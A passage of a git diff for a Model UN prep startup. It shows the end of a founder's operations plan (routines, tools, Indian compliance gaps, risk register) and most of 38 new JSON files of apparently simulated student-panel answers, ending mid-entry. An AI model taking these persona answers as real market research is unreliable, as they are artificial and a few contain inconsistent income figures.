(free at ≤15 txns/month covers a very small launch), and Supabase moving off free. + +## 3. People + +**One person. The founder.** There is no rota to write and pretending otherwise would be dishonest — every role below is the founder's until revenue says otherwise. + +| Role | Who | Hours/week | Paid? | +|---|---|---|---| +| Product and engineering | Founder | 15–25 | No | +| Support (the replies that matter) | Founder | 3 | No | +| Marketing (coordinator calls, Instagram) | Founder | 5–8 | No | +| Payments reconciliation | Founder | 1–2 | No | +| Bookkeeping | Outsourced | — | **Not modelled.** Use a part-time accountant; typical Indian rates for a small business run a few thousand rupees a month, and this is a real cost that `numbers.json` omits. | + +**Rota for the slow first month:** payments and support daily, everything else when there is something to do. **Rota at the planned volume (8 passes/day, ~255 active subscribers):** support becomes the binding constraint — at 2% of users needing help a month, that is ~5 conversations a month, which is still one person. **The first hire, if one is ever needed, is not an engineer or a marketer — it is someone on support and reconciliation, because that is the only work that cannot wait until tomorrow.** + +Wages are not modelled because there are none. **If the founder's time is ever costed (and it should be, honestly, at a market rate), the business's profitability changes materially — see `cfo-sources.md`, which names this as deliberately excluded.** + +## 4. Routines + +**Routine A — daily payments reconciliation (5 minutes).** 1) Open the pending payments queue. 2) For each: check whether the UPI credit is confirmed at the bank. 3) If confirmed and access is not granted → grant it, then note the failure. 4) If not confirmed and older than 30 minutes → message the customer, do not leave them guessing. 5) If two failures happen in one day, **that is an incident, not a routine** — go to Routine D. + +**Routine B — handling a complaint (10 minutes, never automated).** 1) Reply within 24 hours. 2) Name the problem back to them in your own words. 3) If it is a factual error in the output: **this is important — log the exact committee, agenda and claim, because it is the input to the retrieval work.** 4) If the product failed them, refund without argument and log the reason code. 5) If they are angry about being blocked by the daily cap, look at what they were actually doing before deciding the cap is wrong. 6) Sign it with a human name. + +**Routine C — the money wire (deploy), weekly not continuous.** 1) Tests green, including the payment-guard suite. 2) Type-check and lint clean. 3) Deploy to preview, run one real brief end to end. 4) Deploy. 5) Watch payments and errors for an hour. **Never deploy on the morning of a big conference weekend.** + +**Routine D — payment failure incident.** This is the routine worth memorising, because it is the one that costs money. 1) Check whether it is UroPay, the bank, or the app's verification. 2) **Assume the customer paid until proved otherwise** — grant access and reconcile later; never hold access hostage to an infrastructure diagnosis. 3) Post a status note wherever the launch traffic came from. 4) Fix, then write down what happened. + +**Routine E — the weekly cost review (15 minutes).** 1) Total tokens per model, per day. 2) × published rate × ₹88. 3) ÷ passes sold. 4) **If cost per pass exceeds ₹120, stop and fix the mode mix** — that is four times the modelled figure and it is the leading indicator of the scenario in `cfo.md` where the business never breaks even. + +## 5. Tools + +The smallest stack that runs this. **Nothing here should be added without deleting something else.** + +| Job | Tool | Cost | Why | +|---|---|---|---| +| Payments | UroPay | ₹0–100/mo | Already integrated, zero commission, UPI-native for an Indian buyer | +| Hosting | Vercel Pro | ₹1,760/mo | Already there; the paid tier is required for commercial use | +| Database/auth | Supabase | ₹0 | Already there; RLS and the referral RPC already live here | +| AI | NVIDIA NIM | Usage | Already there; the router makes model changes a config edit | +| Support inbox | Founder's email, then a shared inbox | ₹0 | Do not buy a helpdesk for five conversations a month | +| Analytics | **Needs choosing — nothing is installed today** | ₹0 | **This is the real gap.** `marketing.md`'s three weekly numbers and `cfo-sources.md`'s inference measurement both need events the product does not currently emit: free-brief start, signup, payment, and per-request token cost. **Plausible/Umami self-hosted or PostHog free tier.** Without this, every number in this pack stays an estimate. | +| Bookkeeping | A part-time accountant + a spreadsheet | Not modelled | See the caveat in People above | +| Uptime | A free external ping (Better Stack/UptimeRobot free tier) | ₹0 | A silently dead AI route is invisible without it | + +## 6. Licences, permits, and the thing nobody told the founder + +**This is the section of the pack with the most serious unaddressed risk, and it is not about money.** + +| Item | Status | Where to confirm | +|---|---|---| +| **Business registration** | Sole proprietorship vs a private limited company is a real decision, not a formality. A proprietorship is simplest and cheapest; a company costs more but separates personal liability — and this business serves minors, handles their data, and generates content a school may blame someone for. | A chartered accountant. **Before taking money at scale, not after.** | +| **GST** | **Not modelled and not something this pack can decide.** Digital services to consumers in India may attract GST at 18% with a registration threshold; whether this business crosses it, and when, depends on turnover and structure. | A chartered accountant. **This is the clearest financial consequence in the file.** | +| **TDS / referral commissions** | The referral programme pays third parties **16.72% of a first payment**. Payments to individuals may have withholding-tax implications, and a student "partner" being paid commission is a taxable event for them. **This is currently unhandled in the product and unmodelled in the accounts.** | An accountant, before the first commission is paid. | +| **DPDP Act, 2023 — children's data** | **🔴 The most serious gap in this pack.** The product is built for MUN delegates aged roughly **14–22** — a large share are **minors**, and the app has **no age gate and collects no date of birth**. India's Digital Personal Data Protection Act treats under-18s as children, requires **verifiable parental consent** before processing their data, and restricts tracking and targeted advertising at children. The app stores account details, chat transcripts and workspace content for these users. **There is currently nothing in the code addressing this.** | **A lawyer.** The remediation is a product change (age at signup, parental-consent flow for under-18s, tightened retention), and it should be designed *before* the marketing in `marketing.md` drives students to sign up in bulk. | +| **RBI rules on recurring payments** | The plans are **prepaid passes, not auto-renewing subscriptions** — which is a genuine advantage, because India's e-mandate rules for recurring card/UPI payments (additional factor of authentication, pre-debit notification) apply to auto-renewal. **Do not add auto-renewal casually.** It is a compliance project, not a feature. | An accountant/lawyer, and the payment provider — *if* auto-renewal is ever considered. | +| **Terms, privacy, refund and cancellation pages** | They exist in `lib/site-pages.ts` **and every one is a working draft** carrying an explicit "not legal advice, review by a lawyer" note. The refund page in particular says eligibility "depends on the applicable purchase terms" — which promises a customer nothing, while `offer.md` wants to promise a 7-day refund. **Those two must agree, and right now they contradict each other.** | A lawyer, then rewrite the pages to match the offer that is actually being sold. | +| **Trademark** | "MUN Prep" is likely hard to protect; see `brand.md`. | ipindia.gov.in, then a lawyer. | + +**Not legal advice.** Every line above names the authority or the professional to confirm it with. The DPDP item is the one to act on first: a product marketed to schoolchildren that stores their conversations, with no parental-consent mechanism, is the kind of gap that gets raised by a parent or a school, and by then it is a much worse conversation. + +## 7. Risk register + +Ten things most likely to go wrong. **Likelihood and severity are judgements on the evidence in this pack, not measurements.** + +| # | Risk | Likely? | Bad? | The plan | +|---|---|---|---|---| +| 1 | **Model price rise or deprecation on Kimi K3 or GLM-5.3-Flash** | Medium | **Severe** — the whole cost structure rests on it | Model names are already configurable in the router. Keep an equivalent model tested and ready. **Re-check the two published rates monthly.** If Kimi K3 doubles, the Max mode must go behind a plan tier that day. | +| 2 | **Max-mode cost blowout** (one user's inference exceeds their ₹299) | **High** — nothing prevents it today | **Severe** — modelled at −₹1,800/pass | Cap Max per pass or move it to a higher tier. Watch cost per account weekly (Routine E). **This is the highest-value fix in the pack, and it is a one-line policy change.** | +| 3 | **UroPay fails, or its zero-commission claim does not hold** | Medium | Severe — revenue stops | Two months of invoices confirm the claim. Keep a second UPI collection option scouted. Assume "why is my payment not showing" is a when, not an if. | +| 4 | **A paid customer gets no access** (reconciliation or SMS-confirmation failure) | Medium | High — in a referral-driven market one bad experience travels | Routine A runs daily, and grants access on trust while investigating. **Never make the customer wait on an infrastructure diagnosis.** | +| 5 | **A hallucinated fact embarrasses a delegate publicly** | **High** over time — the architecture has no retrieval | High — it is the product's core promise failing in the most visible way | The real fix is retrieval. Until then: the offer must not promise accuracy, and `offer.md`/`brand.md` both name this as the first condition. Log every reported error (Routine B step 3) — the log is the case for building retrieval. | +| 6 | **A competitor undercuts, or a general assistant ships an education mode** | Medium | Severe — no moat exists (monopoly lens: 4/10) | The only defences are the ones the board named: the conference calendar data, the block relationships, and the rigour brand. Start with the relationships, because they are free and they are the highest-converting channel. | +| 7 | **Off-season cash gap** | **High** — conferences peak Jan–Mar and Aug–Nov, and this is the whole purchase trigger | Medium — fixed costs are only ₹1,943/mo, so the floor is survivable | Aim the school/block offer at the *start* of a term rather than mid-conference, and use the off-season to build the calendar asset. Contrast with the fixed base: this business can afford two quiet months. | +| 8 | **Solo founder illness or burnout** | Medium | **Severe** — no redundancy at any step | Document routines A–E so someone else could run payments and support for two weeks. Do not deploy before a conference weekend. **The founder's own time is the true cost of this business and it is currently priced at zero.** | +| 9 | **Organic search stops delivering** | Medium | High — it is the only free acquisition channel, and the CAC ceiling (₹169) rules out paid | Build the conference-calendar asset, which is shareable and linkable in a way that AI answers cannot replace. Own a community (the club coordinators) rather than a keyword. | +| 10 | **A minor's data complaint, or a school pulling out over it** | Low today, rising with volume | **Severe — reputational and legal** | Act on the DPDP item in section 6 before marketing to school delegations. The block sale is the best channel *and* the one most exposed to this risk. | + +**Two risks are worth more than the other eight: #2 (Max-mode cost) and the DPDP item in section 6.** One threatens the money, the other threatens the right to operate. Both are fixable this month, and both are currently unaddressed. diff --git a/founder/panel/answers/P001.json b/founder/panel/answers/P001.json new file mode 100644 index 0000000..e41fefa --- /dev/null +++ b/founder/panel/answers/P001.json @@ -0,0 +1,13 @@ +{ + "id": "P001", + "buys": true, + "purchases_first_month": 2, + "reason_code": "need", + "reason": "I have never been in committee and I am honestly scared. Having a brief ready in my own committee's words is worth more than the money.", + "objection": "ChatGPT is free and already on my phone, but I would have to know what to ask it.", + "would_change_my_mind": "A friend saying the output was actually usable.", + "price_too_cheap": 50, + "price_cheap": 150, + "price_expensive": 500, + "price_too_expensive": 900 +} diff --git a/founder/panel/answers/P002.json b/founder/panel/answers/P002.json new file mode 100644 index 0000000..61a76a6 --- /dev/null +++ b/founder/panel/answers/P002.json @@ -0,0 +1,13 @@ +{ + "id": "P002", + "buys": false, + "purchases_first_month": 0, + "reason_code": "trust", + "reason": "My coach gives us material I can check with him. If the AI says something wrong in an unmoderated caucus I am the one standing there.", + "objection": "I don't trust AI facts in committee, the chair will catch me out.", + "would_change_my_mind": "If every claim came with a source I could open.", + "price_too_cheap": 100, + "price_cheap": 200, + "price_expensive": 600, + "price_too_expensive": 1200 +} diff --git a/founder/panel/answers/P003.json b/founder/panel/answers/P003.json new file mode 100644 index 0000000..1b92bf8 --- /dev/null +++ b/founder/panel/answers/P003.json @@ -0,0 +1,13 @@ +{ + "id": "P003", + "buys": false, + "purchases_first_month": 0, + "reason_code": "price", + "reason": "226000 a year is not a lot and it is my own money. I would panic-buy the night before, but I would rather phone a friend who has done it.", + "objection": "Will my chair penalise me for AI-written work?", + "would_change_my_mind": "It being free for one brief so I can see the quality.", + "price_too_cheap": 60, + "price_cheap": 150, + "price_expensive": 400, + "price_too_expensive": 800 +} diff --git a/founder/panel/answers/P004.json b/founder/panel/answers/P004.json new file mode 100644 index 0000000..7abc6c6 --- /dev/null +++ b/founder/panel/answers/P004.json @@ -0,0 +1,13 @@ +{ + "id": "P004", + "buys": false, + "purchases_first_month": 0, + "reason_code": "trust", + "reason": "I always check reviews before paying and I could not find anyone who used this. That is not proof it works, that is proof nobody is saying it does.", + "objection": "I don't trust AI facts in committee, the chair will catch me out.", + "would_change_my_mind": "Two or three awards from people I can look up.", + "price_too_cheap": 100, + "price_cheap": 250, + "price_expensive": 700, + "price_too_expensive": 1500 +} diff --git a/founder/panel/answers/P005.json b/founder/panel/answers/P005.json new file mode 100644 index 0000000..a887b18 --- /dev/null +++ b/founder/panel/answers/P005.json @@ -0,0 +1,13 @@ +{ + "id": "P005", + "buys": false, + "purchases_first_month": 0, + "reason_code": "price", + "reason": "There is no free trial and I never pay full price for something I have not tested. I will wait for a discount.", + "objection": "Will my chair penalise me for AI-written work?", + "would_change_my_mind": "Any free trial at all.", + "price_too_cheap": 50, + "price_cheap": 120, + "price_expensive": 350, + "price_too_expensive": 700 +} diff --git a/founder/panel/answers/P006.json b/founder/panel/answers/P006.json new file mode 100644 index 0000000..5b8c607 --- /dev/null +++ b/founder/panel/answers/P006.json @@ -0,0 +1,13 @@ +{ + "id": "P006", + "buys": false, + "purchases_first_month": 0, + "reason_code": "habit", + "reason": "I already have ChatGPT and my coach has templates. Adding one more thing to pay for is friction I do not need this week.", + "objection": "ChatGPT is free and it's already on my phone.", + "would_change_my_mind": "If it did the citations properly so I did not have to worry.", + "price_too_cheap": 80, + "price_cheap": 180, + "price_expensive": 500, + "price_too_expensive": 900 +} diff --git a/founder/panel/answers/P007.json b/founder/panel/answers/P007.json new file mode 100644 index 0000000..620c75e --- /dev/null +++ b/founder/panel/answers/P007.json @@ -0,0 +1,13 @@ +{ + "id": "P007", + "buys": false, + "purchases_first_month": 0, + "reason_code": "other", + "reason": "Our school coach runs sessions and my parents already paid 2500 for the conference. I will ask him, not an app.", + "objection": "My school coach already preps us for free.", + "would_change_my_mind": "The coach telling us to use it.", + "price_too_cheap": 100, + "price_cheap": 250, + "price_expensive": 800, + "price_too_expensive": 1500 +} diff --git a/founder/panel/answers/P008.json b/founder/panel/answers/P008.json new file mode 100644 index 0000000..32959ad --- /dev/null +++ b/founder/panel/answers/P008.json @@ -0,0 +1,13 @@ +{ + "id": "P008", + "buys": false, + "purchases_first_month": 0, + "reason_code": "price", + "reason": "It is my pocket money, not my parents'. 299 is a whole week of lunch. I would only pay if I had nothing else.", + "objection": "299 is a lot of my pocket money.", + "would_change_my_mind": "If it was 99, or free for a week.", + "price_too_cheap": 50, + "price_cheap": 100, + "price_expensive": 300, + "price_too_expensive": 600 +} diff --git a/founder/panel/answers/P009.json b/founder/panel/answers/P009.json new file mode 100644 index 0000000..90bff5e --- /dev/null +++ b/founder/panel/answers/P009.json @@ -0,0 +1,13 @@ +{ + "id": "P009", + "buys": false, + "purchases_first_month": 0, + "reason_code": "convenience", + "reason": "I do everything the night before and I reach for whatever is already open. Asking an app to do MUN specifically has never occurred to me.", + "objection": "ChatGPT is free and it's already on my phone.", + "would_change_my_mind": "Seeing someone else's output from it, so I know it is better than my own prompting.", + "price_too_cheap": 50, + "price_cheap": 150, + "price_expensive": 400, + "price_too_expensive": 800 +} diff --git a/founder/panel/answers/P010.json b/founder/panel/answers/P010.json new file mode 100644 index 0000000..e66d415 --- /dev/null +++ b/founder/panel/answers/P010.json @@ -0,0 +1,13 @@ +{ + "id": "P010", + "buys": false, + "purchases_first_month": 0, + "reason_code": "trust", + "reason": "I am not putting something I did not write in front of my chair. I would rather be weaker and honest.", + "objection": "Will my chair penalise me for AI-written work?", + "would_change_my_mind": "A clear explanation of how it is meant to be used, so I do not feel like I am cheating.", + "price_too_cheap": 100, + "price_cheap": 200, + "price_expensive": 600, + "price_too_expensive": 1000 +} diff --git a/founder/panel/answers/P011.json b/founder/panel/answers/P011.json new file mode 100644 index 0000000..133425a --- /dev/null +++ b/founder/panel/answers/P011.json @@ -0,0 +1,13 @@ +{ + "id": "P011", + "buys": true, + "purchases_first_month": 3, + "reason_code": "quality", + "reason": "I have three conferences this season and the difference between a good brief and a thin one is the difference between speaking and sitting silent. 299 is nothing next to what I spend on travel.", + "objection": "ChatGPT is free and already on my phone, but the formatting it gives me is never conference-ready.", + "would_change_my_mind": "Nothing, I would buy it today.", + "price_too_cheap": 150, + "price_cheap": 300, + "price_expensive": 900, + "price_too_expensive": 2000 +} diff --git a/founder/panel/answers/P012.json b/founder/panel/answers/P012.json new file mode 100644 index 0000000..68c5663 --- /dev/null +++ b/founder/panel/answers/P012.json @@ -0,0 +1,13 @@ +{ + "id": "P012", + "buys": false, + "purchases_first_month": 0, + "reason_code": "convenience", + "reason": "A senior in my WhatsApp group sent me their whole folder of old papers. I have free material sitting right there.", + "objection": "I'll just ask a senior for their old position paper.", + "would_change_my_mind": "If it was about this year's agenda and not old stuff.", + "price_too_cheap": 50, + "price_cheap": 100, + "price_expensive": 300, + "price_too_expensive": 600 +} diff --git a/founder/panel/answers/P013.json b/founder/panel/answers/P013.json new file mode 100644 index 0000000..4711c9d --- /dev/null +++ b/founder/panel/answers/P013.json @@ -0,0 +1,13 @@ +{ + "id": "P013", + "buys": true, + "purchases_first_month": 2, + "reason_code": "need", + "reason": "I run my school's club and I would spend 299 to test it for the whole team. If it works I want it for twenty people, not one.", + "objection": "299 is a lot of my pocket money, but the club budget can cover a test.", + "would_change_my_mind": "A price for the whole delegation, not per person.", + "price_too_cheap": 100, + "price_cheap": 250, + "price_expensive": 800, + "price_too_expensive": 1500 +} diff --git a/founder/panel/answers/P014.json b/founder/panel/answers/P014.json new file mode 100644 index 0000000..5bb20c3 --- /dev/null +++ b/founder/panel/answers/P014.json @@ -0,0 +1,13 @@ +{ + "id": "P014", + "buys": false, + "purchases_first_month": 0, + "reason_code": "convenience", + "reason": "I have a senior I can ask and ChatGPT on my phone. Why would I add a paid tool?", + "objection": "I'll just ask a senior for their old position paper.", + "would_change_my_mind": "Someone showing me it is measurably better, not just faster.", + "price_too_cheap": 80, + "price_cheap": 200, + "price_expensive": 600, + "price_too_expensive": 1200 +} diff --git a/founder/panel/answers/P015.json b/founder/panel/answers/P015.json new file mode 100644 index 0000000..116d532 --- /dev/null +++ b/founder/panel/answers/P015.json @@ -0,0 +1,13 @@ +{ + "id": "P015", + "buys": false, + "purchases_first_month": 0, + "reason_code": "trust", + "reason": "My parents would pay if I asked. But if I get caught submitting AI writing I lose more than I gain. The risk is not worth 299.", + "objection": "Will my chair penalise me for AI-written work?", + "would_change_my_mind": "It being framed as research I then write up myself.", + "price_too_cheap": 120, + "price_cheap": 300, + "price_expensive": 900, + "price_too_expensive": 1800 +} diff --git a/founder/panel/answers/P016.json b/founder/panel/answers/P016.json new file mode 100644 index 0000000..cc5be8d --- /dev/null +++ b/founder/panel/answers/P016.json @@ -0,0 +1,13 @@ +{ + "id": "P016", + "buys": true, + "purchases_first_month": 2, + "reason_code": "quality", + "reason": "I have come second twice. Anything that sharpens my opening speech is worth a month of pocket money and 299 is nothing.", + "objection": "299 is a lot of my pocket money, but I have spent more on a single conference fee.", + "would_change_my_mind": "Proof it has helped someone place.", + "price_too_cheap": 150, + "price_cheap": 350, + "price_expensive": 1000, + "price_too_expensive": 2200 +} diff --git a/founder/panel/answers/P017.json b/founder/panel/answers/P017.json new file mode 100644 index 0000000..c9c45ed --- /dev/null +++ b/founder/panel/answers/P017.json @@ -0,0 +1,13 @@ +{ + "id": "P017", + "buys": false, + "purchases_first_month": 0, + "reason_code": "price", + "reason": "I have 166000 a year. 299 is real money and I do my prep in one night anyway.", + "objection": "299 is a lot of my pocket money.", + "would_change_my_mind": "Being able to pay with the money my college reimburses.", + "price_too_cheap": 40, + "price_cheap": 100, + "price_expensive": 250, + "price_too_expensive": 500 +} diff --git a/founder/panel/answers/P018.json b/founder/panel/answers/P018.json new file mode 100644 index 0000000..6729875 --- /dev/null +++ b/founder/panel/answers/P018.json @@ -0,0 +1,13 @@ +{ + "id": "P018", + "buys": false, + "purchases_first_month": 0, + "reason_code": "price", + "reason": "I am 14 and I run a club with no budget. 299 of my own money for a tool I have not seen is not happening.", + "objection": "299 is a lot of my pocket money.", + "would_change_my_mind": "A free school plan I could show my club.", + "price_too_cheap": 40, + "price_cheap": 100, + "price_expensive": 300, + "price_too_expensive": 600 +} diff --git a/founder/panel/answers/P019.json b/founder/panel/answers/P019.json new file mode 100644 index 0000000..d0d9bef --- /dev/null +++ b/founder/panel/answers/P019.json @@ -0,0 +1,13 @@ +{ + "id": "P019", + "buys": false, + "purchases_first_month": 0, + "reason_code": "trust", + "reason": "I read reviews before I buy anything. There are none. The competitor everyone mentions has proper citations and this does not.", + "objection": "ChatGPT is free and it's already on my phone.", + "would_change_my_mind": "Reviews from delegates, and knowing where the facts come from.", + "price_too_cheap": 100, + "price_cheap": 250, + "price_expensive": 700, + "price_too_expensive": 1400 +} diff --git a/founder/panel/answers/P020.json b/founder/panel/answers/P020.json new file mode 100644 index 0000000..f6bdab5 --- /dev/null +++ b/founder/panel/answers/P020.json @@ -0,0 +1,13 @@ +{ + "id": "P020", + "buys": true, + "purchases_first_month": 1, + "reason_code": "need", + "reason": "I only need help for one conference, and the weekly pass at 199 is exactly one conference. That is the only reason I would say yes.", + "objection": "I only need this once, the night before the conference, so a monthly plan is a waste.", + "would_change_my_mind": "The weekly price being the default, not the monthly.", + "price_too_cheap": 70, + "price_cheap": 199, + "price_expensive": 400, + "price_too_expensive": 800 +} diff --git a/founder/panel/answers/P021.json b/founder/panel/answers/P021.json new file mode 100644 index 0000000..d4cb508 --- /dev/null +++ b/founder/panel/answers/P021.json @@ -0,0 +1,13 @@ +{ + "id": "P021", + "buys": false, + "purchases_first_month": 0, + "reason_code": "price", + "reason": "I wait for offers on everything. Paying before I see anything is the opposite of how I buy.", + "objection": "Why should I pay before I've seen if the output is any good?", + "would_change_my_mind": "Any free sample at all.", + "price_too_cheap": 50, + "price_cheap": 150, + "price_expensive": 400, + "price_too_expensive": 900 +} diff --git a/founder/panel/answers/P022.json b/founder/panel/answers/P022.json new file mode 100644 index 0000000..3e62243 --- /dev/null +++ b/founder/panel/answers/P022.json @@ -0,0 +1,13 @@ +{ + "id": "P022", + "buys": false, + "purchases_first_month": 0, + "reason_code": "trust", + "reason": "I am not paying for something with no sample and no reviews. Two things I have never seen, one price.", + "objection": "Why should I pay before I've seen if the output is any good?", + "would_change_my_mind": "One free brief so I can judge it.", + "price_too_cheap": 60, + "price_cheap": 150, + "price_expensive": 450, + "price_too_expensive": 900 +} diff --git a/founder/panel/answers/P023.json b/founder/panel/answers/P023.json new file mode 100644 index 0000000..042121b --- /dev/null +++ b/founder/panel/answers/P023.json @@ -0,0 +1,13 @@ +{ + "id": "P023", + "buys": false, + "purchases_first_month": 0, + "reason_code": "convenience", + "reason": "I have a folder of seniors' papers. It is free and the formats are already right.", + "objection": "I'll just ask a senior for their old position paper.", + "would_change_my_mind": "Nothing soon. Maybe next year when the seniors graduate.", + "price_too_cheap": 50, + "price_cheap": 120, + "price_expensive": 350, + "price_too_expensive": 700 +} diff --git a/founder/panel/answers/P024.json b/founder/panel/answers/P024.json new file mode 100644 index 0000000..ee376dc --- /dev/null +++ b/founder/panel/answers/P024.json @@ -0,0 +1,13 @@ +{ + "id": "P024", + "buys": false, + "purchases_first_month": 0, + "reason_code": "quality", + "reason": "I use ChatGPT every day and it is fine. I am not paying for a version of what I already have without seeing a difference.", + "objection": "Why should I pay before I've seen if the output is any good?", + "would_change_my_mind": "A side-by-side showing it is better in committee.", + "price_too_cheap": 60, + "price_cheap": 150, + "price_expensive": 500, + "price_too_expensive": 1000 +} diff --git a/founder/panel/answers/P025.json b/founder/panel/answers/P025.json new file mode 100644 index 0000000..deba950 --- /dev/null +++ b/founder/panel/answers/P025.json @@ -0,0 +1,13 @@ +{ + "id": "P025", + "buys": false, + "purchases_first_month": 0, + "reason_code": "quality", + "reason": "At 11pm the night before I would pay anything, but you have to show me something first. 199 for a week I will only use once is not convincing either.", + "objection": "Why should I pay before I've seen if the output is any good?", + "would_change_my_mind": "One free brief, the night I actually need it.", + "price_too_cheap": 50, + "price_cheap": 199, + "price_expensive": 400, + "price_too_expensive": 800 +} diff --git a/founder/panel/answers/P026.json b/founder/panel/answers/P026.json new file mode 100644 index 0000000..fc9e550 --- /dev/null +++ b/founder/panel/answers/P026.json @@ -0,0 +1,13 @@ +{ + "id": "P026", + "buys": false, + "purchases_first_month": 0, + "reason_code": "other", + "reason": "My school coach hands us templates and checks our papers. I do not need to pay for the same thing.", + "objection": "My school coach already preps us for free.", + "would_change_my_mind": "The coach saying to use it.", + "price_too_cheap": 100, + "price_cheap": 250, + "price_expensive": 800, + "price_too_expensive": 1500 +} diff --git a/founder/panel/answers/P027.json b/founder/panel/answers/P027.json new file mode 100644 index 0000000..79b7597 --- /dev/null +++ b/founder/panel/answers/P027.json @@ -0,0 +1,13 @@ +{ + "id": "P027", + "buys": false, + "purchases_first_month": 0, + "reason_code": "other", + "reason": "I am 15 and my coach is running sessions before the conference. My parents would ask why I need to pay on top of the school fee.", + "objection": "My school coach already preps us for free.", + "would_change_my_mind": "A teacher recommending it in class.", + "price_too_cheap": 80, + "price_cheap": 200, + "price_expensive": 600, + "price_too_expensive": 1200 +} diff --git a/founder/panel/answers/P028.json b/founder/panel/answers/P028.json new file mode 100644 index 0000000..38430de --- /dev/null +++ b/founder/panel/answers/P028.json @@ -0,0 +1,13 @@ +{ + "id": "P028", + "buys": false, + "purchases_first_month": 0, + "reason_code": "trust", + "reason": "I use ChatGPT already, but submitting AI work is a risk I will not take for a paper I have to defend in committee.", + "objection": "Will my chair penalise me for AI-written work?", + "would_change_my_mind": "A clear statement that it is for research and preparation, not submission.", + "price_too_cheap": 120, + "price_cheap": 300, + "price_expensive": 900, + "price_too_expensive": 1800 +} diff --git a/founder/panel/answers/P029.json b/founder/panel/answers/P029.json new file mode 100644 index 0000000..18ee554 --- /dev/null +++ b/founder/panel/answers/P029.json @@ -0,0 +1,13 @@ +{ + "id": "P029", + "buys": false, + "purchases_first_month": 0, + "reason_code": "price", + "reason": "Free is free. I use ChatGPT and I will not pay for something unless it is clearly much better.", + "objection": "ChatGPT is free and it's already on my phone.", + "would_change_my_mind": "Being genuinely cheaper than free, which is impossible, or much better.", + "price_too_cheap": 40, + "price_cheap": 100, + "price_expensive": 300, + "price_too_expensive": 600 +} diff --git a/founder/panel/answers/P030.json b/founder/panel/answers/P030.json new file mode 100644 index 0000000..a571a75 --- /dev/null +++ b/founder/panel/answers/P030.json @@ -0,0 +1,13 @@ +{ + "id": "P030", + "buys": false, + "purchases_first_month": 0, + "reason_code": "other", + "reason": "Our school has a coach and a shared drive full of material. I do not decide this kind of spending anyway.", + "objection": "My school coach already preps us for free.", + "would_change_my_mind": "Nothing I control.", + "price_too_cheap": 60, + "price_cheap": 150, + "price_expensive": 500, + "price_too_expensive": 1000 +} diff --git a/founder/panel/answers/P031.json b/founder/panel/answers/P031.json new file mode 100644 index 0000000..dae0a6a --- /dev/null +++ b/founder/panel/answers/P031.json @@ -0,0 +1,13 @@ +{ + "id": "P031", + "buys": true, + "purchases_first_month": 3, + "reason_code": "quality", + "reason": "I am one award away from a good university application. 299 a month during conference season is the cheapest thing I will buy this year.", + "objection": "ChatGPT is free but it never gives me the right structure or a resolution format.", + "would_change_my_mind": "Knowing it is accurate. I would still check everything myself.", + "price_too_cheap": 150, + "price_cheap": 300, + "price_expensive": 900, + "price_too_expensive": 2000 +} diff --git a/founder/panel/answers/P032.json b/founder/panel/answers/P032.json new file mode 100644 index 0000000..e2ae153 --- /dev/null +++ b/founder/panel/answers/P032.json @@ -0,0 +1,13 @@ +{ + "id": "P032", + "buys": true, + "purchases_first_month": 2, + "reason_code": "quality", + "reason": "I prep with my coach but she is not available at midnight. This is the thing I reach for when nobody is answering my messages.", + "objection": "ChatGPT is free and it is already on my phone, but I want MUN-shaped output without writing a long prompt.", + "would_change_my_mind": "Seeing committee-specific output rather than generic.", + "price_too_cheap": 150, + "price_cheap": 299, + "price_expensive": 1000, + "price_too_expensive": 2000 +} diff --git a/founder/panel/answers/P033.json b/founder/panel/answers/P033.json new file mode 100644 index 0000000..7da4c27 --- /dev/null +++ b/founder/panel/answers/P033.json @@ -0,0 +1,13 @@ +{ + "id": "P033", + "buys": true, + "purchases_first_month": 1, + "reason_code": "need", + "reason": "I am running my club's prep and this is the first conference for most of us. I would buy one pass to see if it is worth telling everyone about.", + "objection": "ChatGPT is free and it is already on my phone, but my juniors do not know what to prompt it with.", + "would_change_my_mind": "The club finding it useful, then I want it for everyone.", + "price_too_cheap": 100, + "price_cheap": 250, + "price_expensive": 800, + "price_too_expensive": 1500 +} diff --git a/founder/panel/answers/P034.json b/founder/panel/answers/P034.json new file mode 100644 index 0000000..1a31c16 --- /dev/null +++ b/founder/panel/answers/P034.json @@ -0,0 +1,13 @@ +{ + "id": "P034", + "buys": false, + "purchases_first_month": 0, + "reason_code": "quality", + "reason": "I compare everything before I buy, and I cannot compare this against anything. There is no sample and no reviews.", + "objection": "Why should I pay before I've seen if the output is any good?", + "would_change_my_mind": "A free trial and one real review.", + "price_too_cheap": 100, + "price_cheap": 250, + "price_expensive": 800, + "price_too_expensive": 1600 +} diff --git a/founder/panel/answers/P035.json b/founder/panel/answers/P035.json new file mode 100644 index 0000000..7d4b40b --- /dev/null +++ b/founder/panel/answers/P035.json @@ -0,0 +1,13 @@ +{ + "id": "P035", + "buys": false, + "purchases_first_month": 0, + "reason_code": "trust", + "reason": "I already use AI for school, so that is not the issue. Getting pulled up in committee for fabricated facts is.", + "objection": "Will my chair penalise me for AI-written work?", + "would_change_my_mind": "Sources I can open and verify before I speak.", + "price_too_cheap": 100, + "price_cheap": 250, + "price_expensive": 700, + "price_too_expensive": 1400 +} diff --git a/founder/panel/answers/P036.json b/founder/panel/answers/P036.json new file mode 100644 index 0000000..fac3995 --- /dev/null +++ b/founder/panel/answers/P036.json @@ -0,0 +1,13 @@ +{ + "id": "P036", + "buys": false, + "purchases_first_month": 0, + "reason_code": "trust", + "reason": "I have placed before and I do my own research. I would not risk a made-up statistic in front of a chair.", + "objection": "Will my chair penalise me for AI-written work?", + "would_change_my_mind": "Citations I can check myself, and it being sold as a research aid.", + "price_too_cheap": 150, + "price_cheap": 350, + "price_expensive": 1000, + "price_too_expensive": 2200 +} diff --git a/founder/panel/answers/P037.json b/founder/panel/answers/P037.json new file mode 100644 index 0000000..1f8adaa --- /dev/null +++ b/founder/panel/answers/P037.json @@ -0,0 +1,13 @@ +{ + "id": "P037", + "buys": false, + "purchases_first_month": 0, + "reason_code": "other", + "reason": "I am 14 and the school coach runs our prep. I do not have a card or an account of my own.", + "objection": "My school coach already preps us for free.", + "would_change_my_mind": "The school buying it for us.", + "price_too_cheap": 60, + "price_cheap": 150, + "price_expensive": 500, + "price_too_expensive": 1000 +} diff --git a/founder/panel/answers/P038.json b/founder/panel/answers/P038.json new file mode 100644 index 0000000..d4e0c31 --- /dev/null +++ b/founder/panel/answers/P038.json @@ -0,0 +1,13 @@ +{ + "id": "P038", + "buys": false, + "purchases_first_month": 0, + "reason_code": "trust", + "reason": "I research properly and I have been burned by an AI making up a resolution number. I am not paying for a way to get embarrassed.", + "objection": "I don't trust AI facts in committee, the chair will catch me out.", + "would_change_my_mind": "A 